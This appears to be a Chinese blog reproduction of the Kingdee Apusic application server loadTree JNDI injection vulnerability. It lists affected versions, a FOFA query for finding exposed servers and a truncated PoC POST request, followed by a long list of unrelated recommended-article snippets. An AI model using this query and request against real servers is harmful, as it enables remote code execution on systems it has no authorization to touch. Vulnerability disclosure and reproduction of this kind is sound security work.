OidBoy_G
OidBoy_G

金蝶Apusic应用服务器 loadTree JNDI注入漏洞复现(QVD-2023-48297)

0x01 产品简介

金蝶Apusic应用服务器是一款企业级应用服务器，支持Java EE技术，适用于各种商业环境。

0x02 漏洞概述

由于金蝶Apusic应用服务器权限验证不当，导致攻击者可以向loadTree接口执行JNDI注入，造成远程代码执行漏洞。利用该漏洞需低版本JDK。（漏洞比较旧，8月份补丁已出，金蝶EAS也存在类似漏洞，只是路径不一样）

0x03 影响范围

影响版本

金蝶Apusic应用服务器 <= V9.0 SP7

不受影响版本

金蝶Apusic应用服务器 > V9.0 SP7

0x04 复现环境

FOFA：app="Apusic应用服务器"

金蝶Apusic应用服务器 loadTree JNDI注入漏洞复现(QVD-2023-48297)_第1张图片

0x05 漏洞复现

PoC

POST /admin//protect/jndi/loadTree HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh

你可能感兴趣的:(漏洞复现,安全,web安全)

  • 2019-07-22 32774430182c
    图片发自App让我静静地享受这一刻的喜悦太开心了！因为本以为赶不上的车，现在一个人都没有少，安全，并美美的坐在我的旁边！今天店里有茶会感恩茜子，三土，香香茜子很早就赶过去帮忙，太勤快热情的菇凉，觉得跟她今天在一起碰撞了一个共同点，那就是都是宁愿早到绝不迟到，先把事情落实做好了才能安心，哈哈！感恩这个菇凉，一起准备下午的茶会工作辛苦了！茶会中，分享很愉快，大家的兴趣也十分的浓厚，对每个问题都追根问底
  • Deepoc大模型重构核工业智能基座：混合增强架构与安全增强决策技术 Deepoch 人工智能创业创新科技自动化学习
    面向复杂系统的高可靠AI赋能体系构建Deepoc大模型通过多维度技术突破，显著提升核工业知识处理与决策可靠性。经核能行业验证，其生成内容可验证性提升68%，关键参数失真率99.999%）。动态可信度评估系统：基于贝叶斯神经网络实时量化模型不确定性，为关键决策提供置信度评分（如堆芯功率控制置信区间±0.05%）。二、核心突破：物理增强型智能算法创新机理与数据双驱动建模神经微分方程求解器：将中子输运方
  • 京东内部优惠券软件叫什么?京东分享商品赚佣金 氧券超好用
    揭秘京东内部优惠券软件：分享商品还能赚佣金！随着我国电商行业的飞速发展，越来越多的消费者开始选择在线上购物。而在众多电商平台中，京东以其正品保证、高效物流服务等优势，赢得了大量用户的青睐。然而，你知道吗？在京东购物还可以通过分享商品赚取佣金，这得益于一款名为“芬香”的京东内部优惠券软件。一、芬香：京东内部优惠券软件芬香是一款基于京东平台的内部优惠券分享软件，由原京东移动电商总经理创立，安全可靠。通
  • 延迟队列的入门使用
    延迟队列的入门使用思考：1.什么是延迟队列？延迟队列运用场景？2.延迟队列的排队过程如何实现？真的是先进先出吗？3.如何实现运用延迟队列一.什么是延迟队列DelayQueue是Java中的一个基于优先级队列的实现的线程安全的延迟队列。运用场景：实现定时任务或者延迟任务的调度。DelayQueue实现BlockingQueue，加入这个队列的元素必须实现Delayed接口，当生产者提交元素进入队列时
  • Mac中 “XX”文件已损坏，无法打开 解决方案 恰在灯火阑珊处 Q&Amacos
    前言Mac中打开软件出现“XX”文件已损坏，无法打开的提示怎么处理？操作总结1、查看当前Gatekeeper是否启用spctl--status2、完全关闭Gatekeeper（允许安装任何来源应用）sudospctl--master-disable3、打开“系统设置->“隐私与安全性”最下方选择“允许所有来源”至此，可以重新打开软件，基本已成功。4、恢复系统安全设置【成功之后收尾】sudospct
  • 赏帮赚和趣闲赚哪个好,刷视频挣钱一天300元(帮赏赚安全吗)详细比较 小易的生活
    赏帮赚和趣闲赚都是目前市场上较为知名的兼职赚钱平台，它们在任务类型、赚钱机制、用户评价等方面各有特点。以下是对这两个平台的详细比较：一、平台背景与特点赏帮赚：赏帮赚是一款由重庆优玖互邦科技有限公司开发的手机应用，专注于为自由就业者、灵活就业者提供佣金发放方案，并为用户提供完成任务获得奖励的平台。该平台已有十多年的历史，积累了丰富的经验和实力。二、任务类型与难度赏帮赚：赏帮赚提供的任务类型非常丰富，
  • 坚守人民至上理念，突出现代化方向的人民性 14广告姜璐
    “人民对美好生活的向往，就是我们的奋斗目标”，坚持以人民为中心的发展思想，体现了党的理想信念、性质宗旨、初心使命，也是对党的奋斗历程和实践经验的深刻总结。以人民为中心，就是要发展为了人民，“让人民有更多、更直接、更实在的获得感、幸福感、安全感”；就是要依靠人民，“只要我们深深扎根人民、紧紧依靠人民，就可以获得无穷的力量，风雨无阻，奋勇向前”；就是发展成果由人民共享，“朝着实现全体人民共同富裕不断迈
  • Flink-Hadoop实战项目 Dylan_muc hadoophdfsflink
    项目说明文档1.项目概述1.1项目简介本项目是一个基于ApacheFlink的大数据流处理平台，专门用于处理铁路系统的票务和车次信息数据。系统包含两个核心流处理作业：文件处理作业和数据合并作业，采用定时调度机制，支持Kerberos安全认证，实现从文件读取到数据仓库存储的完整数据处理链路。1.2技术栈流处理引擎:ApacheFlink1.18.1存储系统:HDFS(Hadoop分布式文件系统)数据
  • 2018年9月17日日记 晓茂
    老师说反省要拿出刮骨疗伤的勇气。我在想，刮啥呢？从懂事以来到现在，自己的每一步都走的小心翼翼，因为没有父母对我的任何正确指导（现在不怪他们，条件有限嘛）不管在工作上还是情感关系上，都是自己被碰得头破血流了，回到窝里自己舔舐伤口。现在回想起来，很感恩这段经历，这因为这样，才在书籍中找到了归宿，找到了安全感，才有了慢慢让自己活得有意义的决心和勇气！感到幸运的是，自己的心一直都善良，对给予我支持和帮助的
  • 警惕!北恒私募高级班周一丰，马建军不正规。不让出金,不能提现,大家远离骗局! 昌龙律法
    随着互联网的普及，数字经济蓬勃发展，各种线上平台如雨后春笋般涌现。然而，在这些看似繁荣的平台中，不乏一些黑平台，它们以欺诈手段骗取用户的财产，给人们的财产安全带来严重威胁。因此，我们有必要提高警惕，防范黑平台诈骗。针对网上素未谋面的牛散大咖，经济学家等推荐网上投资理财、数字经济，数字体育市场，人工智能项目，数字低碳，慈善投票网站买数字的等等都是骗局，广大市民对此要提高警惕，若你也不幸被骗遇到此类平
  • MEMS陀螺工具的技术突破体现在哪些方面？ ericco123 科技制造MEMS陀螺仪惯性技术
    在石油天然气勘探、矿山钻探及管道检测等复杂工程领域，精确的方位测量是确保作业安全与效率的核心。传统磁定向工具易受套管、钻杆等铁磁性物质或外部磁场干扰，导致在关键井段或受限空间内方位数据失效。作为高精度、小型化、全固态的MEMS陀螺定向短节代表，ER-Gyro-15基于MEMS陀螺技术，通过感知地球自转角速度实现无磁寻北。凭借其独特的技术优势，成为复杂工况下的革新性解决方案。核心原理：ER-Gyro
  • 线下现金入金诈骗!社科院正式课堂通达OA朱民节能煤水风电St-balance市场行骗真实案例分享! 易星辰分享普法
    随着互联网的普及，电视上和网络上有很多分析师，他们也是这个市场的一个群体。可能你也有疑惑，既然都能分析了，还做什么分析师啊，就在股市里赚大钱就是了，干嘛还要出来抛头露面。数字经济蓬勃发展，各种线上平台如雨后春笋般涌现。然而，在这些看似繁荣的平台中，不乏一些黑平台，它们以欺诈手段骗取用户的财产，给人们的财产安全带来严重威胁！近期我们接到多起投资者举报，称有人冒充知名财经分析师（知名人物大学教授经济学
  • google-web浏览器域名和公网ip下服务 无法访问局域网ip服务 风一样的男子& tcp/ip前端网络
    因为google的安全策略导致的防止非安全上下文向更多专用IP地址发出子资源请求说白了就是防止公网上的资源直接向局域网ip发起请求，火狐目前可以这么干如果谷歌也想解开这个限制，那么你需要简单配置一下：chrome://flags/#block-insecure-private-network-requests在谷歌浏览器里打开这个代码将Default改为Disabled然后Relaunch即可
  • 不断更新—平衡自我提升原则 李男Nina
    365天读书打卡第350天《高效能人士的7个习惯》作者：史蒂芬.柯维人生最值得的投资就是磨练自己，因为生活与服务人群都得靠自己，这是最珍贵的工具。工作本身并不能带来经济上的安全感，具备良好的思考，学习创造与适应能力，才能立于不败之地。拥有财富并不代表经济独立，拥有创造财富的能力才真正可靠。自我提升和完善的4个层面，包括：身体，精神，智力，社会情感。从根本上讲，不断更新意味着要兼顾这四种要素，要以睿
  • 服务网关面试题分类整理 jarenyVO 面试题中间件面试
    服务网关面试题分类整理文章目录服务网关面试题分类整理一、基础概念类1.什么是服务网关？它解决了什么问题？2.服务网关和负载均衡器有什么区别？二、核心功能类1.服务网关的五大核心功能是什么？2.动态路由是如何实现的？三、技术实现类1.主流网关技术选型对比2.网关如何实现高性能？四、高可用设计类1.如何保证网关自身的高可用？2.网关如何避免成为单点瓶颈？五、安全防护类1.网关如何实现API安全？2.如
  • 夸克网盘非会员免费解压指南
    夸克网盘非会员免费解压指南在当今数字化时代，网盘已经成为我们存储和分享文件的重要工具。夸克网盘作为一款广受欢迎的云存储服务，凭借其便捷性和安全性赢得了大量用户的青睐。然而，对于非会员用户来说，如何在夸克网盘上免费解压文件却成为了一个不小的难题。本文将详细介绍夸克网盘非会员免费解压的方法，并解答关于解压文件存储位置的疑问，帮助大家更好地利用夸克网盘。一、夸克网盘非会员免费解压方法夸克网盘为非会员用户
  • 【Java代码审计 | 第五篇】XSS漏洞成因+实战案例 秋说 Java代码审计javaxss
    未经许可，不得转载。文章目录XSS漏洞成因1、直接输出用户输入2、在JSP中使用EL表达式输出用户输入3、在Thymeleaf模板中输出用户输入4、在JavaScript中嵌入用户输入实战案例案例1案例2案例3XSSXSS（跨站脚本攻击，Cross-SiteScripting）是一种常见的Web安全漏洞，攻击者通过在网页中注入恶意脚本，使得这些脚本在用户的浏览器中执行。XSS攻击通常分为以下三种类
  • 企业SRC漏铜挖掘思路 网络小安 漏洞挖掘网络安全web安全安全
    目录src众测平台信息收集一，先看股权穿透图找到公司的名称二，这些公司对应的是一级域名三，用icp备案进行查找域名域名资产开始挖（抓包拦截）抓包分析js逆向src众测平台国内漏洞平台https://www.anquanke.com/src教育edu漏洞平台https://src.sjtu.edu.cn/提示：记得查看企业SRC的安全漏洞评分标准以及规范edu只打边缘拿证书信息收集爱企查一，先看股权
  • 如何通过视频进度条打点守护视频安全？ 菜包eo 教育视频polyv视频安全音视频安全
    文章目录前言一、什么是视频进度条打点？二、实现视频进度条打点的技术原理三、如何实现视频进度条打点？总结前言人们对视频内容的获取越来越追求效率，尤其是在教育培训、企业直播、知识付费等场景中，用户希望能够快速定位重点内容。视频进度条打点功能应运而生，不仅提升了用户体验，更成为视频安全管理的重要一环。本文将带你深入了解打点技术的原理与应用，一起看看它如何为视频安全加上一道“智能防线”。一、什么是视频进度
  • 民间故事：修路遇到老祠堂，工程队不顾劝阻执意要拆，结果出了怪事 诗文书画汇
    戏说古今奇闻趣事，传递世间真情善意。本故事为《民间故事》系列之第530期，如果您喜欢，不妨给个关注！文/小田2002年，在山东枣庄附近，两波人在村头的一座老祠堂门前干了起来。其中一波人，穿着建筑工服，头戴安全帽。他们手持木棒、大锤子，恶狠狠地对着另一波人大吼着。而另一波人，穿着朴素。他们手无寸铁，是这个村的村民。他们向工程队苦苦哀求着：“你们不要拆这座祠堂啊！不然会出大事啊！”工程队里负责拆迁的小
  • 热室机械手市场报告：智能装备推动高温制造自动化升级 QYR_11 人工智能大数据
    引言在工业自动化浪潮席卷全球的当下，热室机械手作为核工业、铸造等特殊高温环境中的关键设备，正发挥着不可替代的作用。随着核技术应用的不断拓展、高端制造产业的升级以及对生产安全和效率要求的提升，热室机械手市场需求持续增长。本报告将全面分析热室机械手市场的现状、竞争格局、发展趋势及面临的挑战，为行业从业者、投资者提供专业的市场参考，助力其在该领域的战略布局与决策。一、市场现状（一）应用领域分布热室机械手
  • 300个网络安全软件和在线工具（归类版）（非常详细），零基础入门到精通，看这一篇就够了_安恒云沙箱 网络安全k叔 web安全安全服务器数据库学习
    系统下载1、KALI安装版https://pan.quark.cn/s/483c664db4fb2、KALI免安装版https://pan.quark.cn/s/23d4540a800b3、下载所有Kali系统https://pan.quark.cn/s/7d8b9982012f4、KALI软件源https://pan.quark.cn/s/33781a6f346d5、所有Linux系统https
  • 2024最新最全：网络安全软件大合集（非常详细）零基础入门到精通，收藏这一篇就够了
    安全建议：渗透类软件，建议先在虚拟机试运行！VMware虚拟机https://pan.quark.cn/s/6e439e2c15c1下载KALI（安装版）https://pan.quark.cn/s/2124bdf3c732下载KALI（免安装版）https://pan.quark.cn/s/bf88a79dc236KALI软件源https://pan.quark.cn/s/02e9feea586
  • MySQL(150)如何进行数据库自动化运维？ 辞暮尔尔-烟火年年 MySQL数据库运维mysql
    数据库自动化运维（DBAAutomation）是确保数据库高效、安全运行的关键步骤。自动化运维可以涵盖备份、恢复、监控、性能优化、数据迁移等多个方面。以下是一个详细的指南，展示如何使用Java进行数据库自动化运维，包括代码示例。一、环境准备确保安装有Java开发环境（JDK）、Maven（或Gradle）以及一个数据库（例如MySQL）。我们将使用JDBC来进行数据库操作，以及QuartzSche
  • 转行网络安全门槛高吗？网络安全零基础入门到精通，收藏这篇就够了 leah126 网络安全安全
    在当前就业形势下，不少朋友面临转行的困境。网络安全作为一个热门领域，自然也吸引了许多人的目光。本文将就转行网络安全这一话题，提供一些切实可行的建议。网络安全行业概况网络安全涵盖了从基础的脚本编写到高级的漏洞研究等多个层面。该领域包括但不限于：渗透测试、漏洞评估、恶意软件分析、入侵检测、信息安全管理等。这些内容的复杂性不一，从基础的安全监控到复杂的安全架构设计都涉及其中。这就意味着，尽管有些领域可能
  • 如何成为一名网络安全工程师？网络安全零基础入门到精通，收藏这一篇就够了 网络安全大白 网络安全科技程序员web安全网络安全
    从事网络安全工程师的职业生涯是网络安全领域的一条充满挑战和回报的道路。在本文中，您将了解网络安全工程师的具体工作、要遵循的教育途径、所需的关键技能和认证以及职业前景。利用我们在网络安全培训方面的深厚专业知识，我们提供实用且高度相关的见解。无论您是初学者还是希望进一步发展，本指南都将为您提供知识，以驾驭不断发展的网络安全格局并促进您的专业成长。网络安全工程师做什么？网络安全工程师在保护组织的信息系统
  • 漏洞扫描 + 渗透测试：双轮驱动筑牢网络安全防线 白山云北诗 网络安全行业知识web安全网络安全渗透测试漏洞扫描安全检测
    在网络安全领域，单一的防护手段往往难以应对复杂的威胁环境。漏洞扫描通过自动化工具快速发现潜在风险，渗透测试则以攻击者视角验证漏洞的实际危害，二者结合形成“自动化检测+人工验证”的双轮驱动模式，已成为企业筑牢安全防线的核心策略。一、漏洞扫描与渗透测试的协同价值漏洞扫描和渗透测试并非相互替代，而是互补的安全检测手段：漏洞扫描：自动化发现潜在风险漏洞扫描工具通过预设规则和特征库，对网络设备、服务器、应用
  • 转行网络安全需要学什么？（非常详细）零基础入门到精通，收藏这一篇就够了 网络安全苏柒 web安全计算机网络网络安全运维转业程序员编程
    什么是网络安全？网络安全是指保护网络系统的硬件、软件及其系统中的数据，破坏、更改、泄露，使系统连续可靠正常地运行，网络服务不会中断。未来，我国将着重发展数字经济，发展云计算、大数据、物联网、工业互联网、区块链和人工智能等产业，这些产业全部都基于网络互联。网络的安全就是以上这些产业能够良性发展的基础，也是建设制造强国和网络强国的基础保障。什么是网络安全工程师？网络安全工程师是负责保护计算机网络系统，
  • 转行网络安全需要学什么？（非常详细）从零基础到精通，收藏这篇就够了！ ～小羊没烦恼～ 黑客技术黑客网络安全web安全安全学习运维网络
    什么是网络安全？网络安全是指保护网络系统的硬件、软件及其系统中的数据，破坏、更改、泄露，使系统连续可靠正常地运行，网络服务不会中断。未来，我国将着重发展数字经济，发展云计算、大数据、物联网、工业互联网、区块链和人工智能等产业，这些产业全部都基于网络互联。网络的安全就是以上这些产业能够良性发展的基础，也是建设制造强国和网络强国的基础保障。什么是网络安全工程师？网络安全工程师是负责保护计算机网络系统，
  • 转行网络安全需要学什么？（非常详细）零基础入门到精通，收藏这一篇就够了 网络安全k叔 web安全计算机网络网络安全编程计算机转业信息安全
    什么是网络安全？网络安全是指保护网络系统的硬件、软件及其系统中的数据，破坏、更改、泄露，使系统连续可靠正常地运行，网络服务不会中断。未来，我国将着重发展数字经济，发展云计算、大数据、物联网、工业互联网、区块链和人工智能等产业，这些产业全部都基于网络互联。网络的安全就是以上这些产业能够良性发展的基础，也是建设制造强国和网络强国的基础保障。什么是网络安全工程师？网络安全工程师是负责保护计算机网络系统，
  • apache ftpserver-CentOS config gengzg apache
    <server xmlns="http://mina.apache.org/ftpserver/spring/v1" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://mina.apache.o
  • 优化MySQL数据库性能的八种方法 AILIKES sqlmysql
    1、选取最适用的字段属性 　　MySQL可以很好的支持大数据量的存取，但是一般说来，数据库中的表越小，在它上面执行的查询也就会越快。因此，在创建表的时候，为了获得更好的 性能，我们可以将表中字段的宽度设得尽可能小。例如，在定义邮政编码这个字段时，如果将其设置为CHAR(255),显然给数据库增加了不必要的空间，甚至使用VARCHAR这种类型也是多余的，因为CHAR(6)就可以很
  • JeeSite 企业信息化快速开发平台 Kai_Ge JeeSite
    JeeSite 企业信息化快速开发平台 平台简介 JeeSite是基于多个优秀的开源项目，高度整合封装而成的高效，高性能，强安全性的开源Java EE快速开发平台。 JeeSite本身是以Spring Framework为核心容器，Spring MVC为模型视图控制器，MyBatis为数据访问层， Apache Shiro为权限授权层，Ehcahe对常用数据进行缓存，Activit为工作流
  • 通过Spring Mail Api发送邮件 120153216 邮件main
    原文地址：http://www.open-open.com/lib/view/open1346857871615.html 使用Java Mail API来发送邮件也很容易实现，但是最近公司一个同事封装的邮件API实在让我无法接受，于是便打算改用Spring Mail API来发送邮件，顺便记录下这篇文章。 【Spring Mail API】 Spring Mail API都在org.spri
  • Pysvn 程序员使用指南 2002wmj SVN
    源文件:http://ju.outofmemory.cn/entry/35762 这是一篇关于pysvn模块的指南. 完整和详细的API请参考 http://pysvn.tigris.org/docs/pysvn_prog_ref.html. pysvn是操作Subversion版本控制的Python接口模块. 这个API接口可以管理一个工作副本, 查询档案库, 和同步两个. 该
  • 在SQLSERVER中查找被阻塞和正在被阻塞的SQL 357029540 SQL Server
    SELECT  R.session_id AS BlockedSessionID ,          S.session_id AS BlockingSessionID ,          Q1.text AS Block
  • Intent 常用的用法备忘 7454103 .netandroidGoogleBlogF#
    Intent     应该算是Android中特有的东西。你可以在Intent中指定程序 要执行的动作（比如：view,edit,dial），以及程序执行到该动作时所需要的资料 。都指定好后，只要调用startActivity()，Android系统 会自动寻找最符合你指定要求的应用 程序，并执行该程序。 下面列出几种Intent 的用法 显示网页:
  • Spring定时器时间配置 adminjun spring时间配置定时器
    红圈中的值由6个数字组成，中间用空格分隔。第一个数字表示定时任务执行时间的秒，第二个数字表示分钟，第三个数字表示小时，后面三个数字表示日，月，年，< xmlnamespace prefix ="o" ns ="urn:schemas-microsoft-com:office:office" /> 测试的时候，由于是每天定时执行，所以后面三个数
  • POJ 2421 Constructing Roads 最小生成树 aijuans 最小生成树
    来源：http://poj.org/problem?id=2421 题意：还是给你n个点，然后求最小生成树。特殊之处在于有一些点之间已经连上了边。 思路：对于已经有边的点，特殊标记一下，加边的时候把这些边的权值赋值为0即可。这样就可以既保证这些边一定存在，又保证了所求的结果正确。 代码： #include <iostream> #include <cstdio>
  • 重构笔记——提取方法（Extract Method） ayaoxinchao java重构提炼函数局部变量提取方法
    提取方法（Extract Method）是最常用的重构手法之一。当看到一个方法过长或者方法很难让人理解其意图的时候，这时候就可以用提取方法这种重构手法。   下面是我学习这个重构手法的笔记：   提取方法看起来好像仅仅是将被提取方法中的一段代码，放到目标方法中。其实，当方法足够复杂的时候，提取方法也会变得复杂。当然，如果提取方法这种重构手法无法进行时，就可能需要选择其他
  • 为UILabel添加点击事件 bewithme UILabel
        默认情况下UILabel是不支持点击事件的，网上查了查居然没有一个是完整的答案，现在我提供一个完整的代码。   UILabel *l = [[UILabel alloc] initWithFrame:CGRectMake(60, 0, listV.frame.size.width - 60, listV.frame.size.height)]
  • NoSQL数据库之Redis数据库管理(PHP-REDIS实例) bijian1013 redis数据库NoSQL
    一.redis.php <?php //实例化 $redis = new Redis(); //连接服务器 $redis->connect("localhost"); //授权 $redis->auth("lamplijie"); //相关操
  • SecureCRT使用备注 bingyingao secureCRT每页行数
    SecureCRT日志和卷屏行数设置 一、使用securecrt时，设置自动日志记录功能。 1、在C:\Program Files\SecureCRT\下新建一个文件夹(也就是你的CRT可执行文件的路径），命名为Logs； 2、点击Options -> Global Options -> Default Session -> Edite Default Sett
  • 【Scala九】Scala核心三：泛型 bit1129 scala
    泛型类 package spark.examples.scala.generics class GenericClass[K, V](val k: K, val v: V) { def print() { println(k + "," + v) } } object GenericClass { def main(args: Arr
  • 素数与音乐 bookjovi 素数数学haskell
        由于一直在看haskell，不可避免的接触到了很多数学知识，其中数论最多，如素数，斐波那契数列等，很多在学生时代无法理解的数学现在似乎也能领悟到那么一点。     闲暇之余，从图书馆找了<<The music of primes>>和<<世界数学通史>>读了几遍。其中素数的音乐这本书与软件界熟知的&l
  • Java-Collections Framework学习与总结-IdentityHashMap BrokenDreams Collections
            这篇总结一下java.util.IdentityHashMap。从类名上可以猜到，这个类本质应该还是一个散列表，只是前面有Identity修饰，是一种特殊的HashMap。         简单的说，IdentityHashMap和HashM
  • 读《研磨设计模式》-代码笔记-享元模式-Flyweight bylijinnan java设计模式
    声明： 本文只为方便我个人查阅和理解，详细的分析以及源代码请移步 原作者的博客http://chjavach.iteye.com/ import java.util.ArrayList; import java.util.Collection; import java.util.HashMap; import java.util.List; import java
  • PS人像润饰&调色教程集锦 cherishLC PS
      1、仿制图章沿轮廓润饰——柔化图像，凸显轮廓 http://www.howzhi.com/course/retouching/   新建一个透明图层，使用仿制图章不断Alt+鼠标左键选点，设置透明度为21%，大小为修饰区域的1/3左右（比如胳膊宽度的1/3），再沿纹理方向（比如胳膊方向）进行修饰。   所有修饰完成后，对该润饰图层添加噪声，噪声大小应该和
  • 更新多个字段的UPDATE语句 crabdave update
    更新多个字段的UPDATE语句                    update tableA a set (a.v1, a.v2, a.v3, a.v4) = --使用括号确定更新的字段范围
  • hive实例讲解实现in和not in子句 daizj hivenot inin
    本文转自：http://www.cnblogs.com/ggjucheng/archive/2013/01/03/2842855.html 当前hive不支持 in或not in 中包含查询子句的语法，所以只能通过left join实现。 假设有一个登陆表login(当天登陆记录,只有一个uid),和一个用户注册表regusers(当天注册用户，字段只有一个uid)，这两个表都包含
  • 一道24点的10+种非人类解法（2,3,10,10） dsjt 算法
    这是人类算24点的方法？！！！ 事件缘由：今天晚上突然看到一条24点状态，当时惊为天人，这NM叫人啊？以下是那条状态 朱明西 : 24点，算2 3 10 10，我LX炮狗等面对四张牌痛不欲生，结果跑跑同学扫了一眼说，算出来了，2的10次方减10的3次方。。我草这是人类的算24点啊。。 然后么。。。我就在深夜很得瑟的问室友求室友算 刚出完题，文哥的暴走之旅开始了 5秒后
  • 关于YII的菜单插件 CMenu和面包末breadcrumbs路径管理插件的一些使用问题 dcj3sjt126com yiiframework
    在使用 YIi的路径管理工具时，发现了一个问题。                    <?php         
  • 对象与关系之间的矛盾：“阻抗失配”效应[转] come_for_dream 对象
    概述   “阻抗失配”这一词组通常用来描述面向对象应用向传统的关系数据库（RDBMS）存放数据时所遇到的数据表述不一致问题。C++程序员已经被这个问题困扰了好多年，而现在的Java程序员和其它面向对象开发人员也对这个问题深感头痛。   “阻抗失配”产生的原因是因为对象模型与关系模型之间缺乏固有的亲合力。“阻抗失配”所带来的问题包括：类的层次关系必须绑定为关系模式（将对象
  • 学习编程那点事 gcq511120594 编程互联网
    一年前的夏天，我还在纠结要不要改行，要不要去学php？能学到真本事吗？改行能成功吗？太多的问题，我终于不顾一切，下定决心，辞去了工作，来到传说中的帝都。老师给的乘车方式还算有效，很顺利的就到了学校，赶巧了，正好学校搬到了新校区。先安顿了下来，过了个轻松的周末，第一次到帝都，逛逛吧！ 接下来的周一，是我噩梦的开始，学习内容对我这个零基础的人来说，除了勉强完成老师布置的作业外，我已经没有时间和精力去
  • Reverse Linked List II hcx2013 list
    Reverse a linked list from position m to n. Do it in-place and in one-pass. For example:Given 1->2->3->4->5->NULL, m = 2 and n = 4, return 
  • Spring4.1新特性——页面自动化测试框架Spring MVC Test HtmlUnit简介 jinnianshilongnian spring 4.1
    目录 Spring4.1新特性——综述 Spring4.1新特性——Spring核心部分及其他 Spring4.1新特性——Spring缓存框架增强 Spring4.1新特性——异步调用和事件机制的异常处理 Spring4.1新特性——数据库集成测试脚本初始化 Spring4.1新特性——Spring MVC增强 Spring4.1新特性——页面自动化测试框架Spring MVC T
  • Hadoop集群工具distcp liyonghui160com
        1. 环境描述 两个集群：rock 和 stone rock无kerberos权限认证，stone有要求认证。 1. 从rock复制到stone，采用hdfs Hadoop distcp -i hdfs://rock-nn:8020/user/cxz/input hdfs://stone-nn:8020/user/cxz/运行在rock端，即源端问题：报版本
  • 一个备份MySQL数据库的简单Shell脚本 pda158 mysql脚本
    　　主脚本（用于备份mysql数据库）： 　　该Shell脚本可以自动备份 数据库。只要复制粘贴本脚本到文本编辑器中，输入数据库用户名、密码以及数据库名即可。我备份数据库使用的是mysqlump 命令。后面会对每行脚本命令进行说明。 　　 1. 分别建立目录“backup”和“oldbackup” 　　#mkdir /backup 　　#mkdir /oldbackup 　
  • 300个涵盖IT各方面的免费资源（中）——设计与编码篇 shoothao IT资源图标库图片库色彩板字体
    A. 免费的设计资源 Freebbble:来自于Dribbble的免费的高质量作品。 Dribbble:Dribbble上“免费”的搜索结果——这是巨大的宝藏。 Graphic Burger:每个像素点都做得很细的绝佳的设计资源。 Pixel Buddha:免费和优质资源的专业社区。 Premium Pixels:为那些有创意的人提供免费的素材。
  • thrift总结 - 跨语言服务开发 uule thrift
    官网 官网JAVA例子 thrift入门介绍 IBM-Apache Thrift - 可伸缩的跨语言服务开发框架 Thrift入门及Java实例演示 thrift的使用介绍   RPC    POM： <dependency> <groupId>org.apache.thrift</groupId>
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他